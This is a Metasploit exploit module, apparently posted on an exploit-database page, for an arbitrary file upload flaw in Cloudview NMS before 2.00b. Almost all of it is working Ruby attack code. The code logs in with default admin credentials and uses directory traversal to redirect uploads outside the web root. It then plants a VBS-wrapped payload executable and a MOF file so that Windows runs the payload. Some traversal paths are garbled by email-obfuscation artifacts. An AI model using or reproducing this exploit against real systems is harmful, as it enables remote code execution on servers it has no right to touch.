Cloudview NMS < 2.00b - Arbitrary File Upload Exploit

2017-10-13
ID: 94472
CVE: None
Download vulnerable application: None
require 'msf/core'
  class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
      include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec
      def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cloudview NMS File Upload',
            'Description'    => %q{
                This module exploits a file upload vulnerability
                found within Cloudview NMS < 2.00b. The vulnerability
                is triggered by sending specialized packets to the
                server with directory traversal sequences ([email protected] in
                this case) to browse outside of the web root.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', '0day' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Cloudview NMS 2.00b on Windows', {} ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 13 2014'))
          register_options([
            Opt::RPORT(80),
            OptString.new('USERNAME', [ true, "The username to log in with", "Admin" ]),
            OptString.new('PASSWORD', [ false, "The password to log in with", "" ])
        ], self.class )
    end
      def exploit
          # setup
        vbs_name    = rand_text_alpha(rand(10)+5) + '.vbs'
        exe         = generate_payload_exe
        vbs_content = Msf::Util::EXE.to_exe_vbs(exe)
        mof_name    = rand_text_alpha(rand(10)+5) + '.vbs'
        mof         = generate_mof(mof_name, vbs_name)
        peer        = "#{datastore['RHOST']}:#{datastore['RPORT']}"
          print_status("Uploading #{vbs_name} to #{peer}...")
          # logging in to get the "session"
        @sess = rand(0..2048)
        res = send_request_cgi({
            'method'    =>   'POST',
            'uri'       =>   "/MPR=#{@sess}:/",
            'version'   =>   '1.1',
            'ctype'     =>   'application/x-www-form-urlencoded',
            'data'      =>   "username=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&mybutton=Login%21&donotusejava=html"
        })
          # This is needed to setup the upload directory
        res = send_request_cgi({
            'method'    => 'GET',
            'uri'       => "/MPR=#{@sess}:/descriptor!ChangeDir=C:@[email protected]@[email protected]@[email protected][email protected]%5Cfilelistpage!-!1000",
            'version'   => '1.1',
        })
          # Uploading VBS file
        data = Rex::MIME::Message.new
        data.add_part("#{vbs_content}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{vbs_name}\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")
          res = send_request_cgi({
            'method'    =>   'POST',
            'uri'       =>   "/MPR=#{@sess}:/",
            'version'   =>   '1.1',
            'ctype'     =>   "multipart/form-data; boundary=#{data.bound}",
            'data'      =>   post_data
        })
          if res.body =~ /Uploaded file OK/
            print_good("Uploaded #{vbs_name} successfully!")
            print_status("Uploading #{mof_name} to #{peer}...")
              # Setting up upload directory
            res = send_request_cgi({
                'method'    =>   'GET',
                'uri'       =>   "/MPR=#{@sess}:/descriptor!ChangeDir=C:@[email protected]@[email protected]@[email protected]@[email protected][email protected]%5Cfilelistpage!-!1000",
                'version'   =>   '1.1'
            })
              # Uploading MOF file
            data = Rex::MIME::Message.new
            data.add_part("#{mof}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{mof_name}\"")
            post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")
              res = send_request_cgi({
                'method'    =>   'POST',
                'uri'       =>   "/MPR=#{@sess}:/",
                'version'   =>   '1.1',
                'ctype'     =>   "multipart/form-data; boundary=#{data.bound}",
                'data'      =>   post_data
            })
              if res.body =~ /Uploaded file OK/
                print_good("Uploaded #{mof_name} successfully!")
            else
                print_error("Something went wrong...")
            end
        else
            print_error("Something went wrong...")
        end
      end
  end
1-4-2 (www02)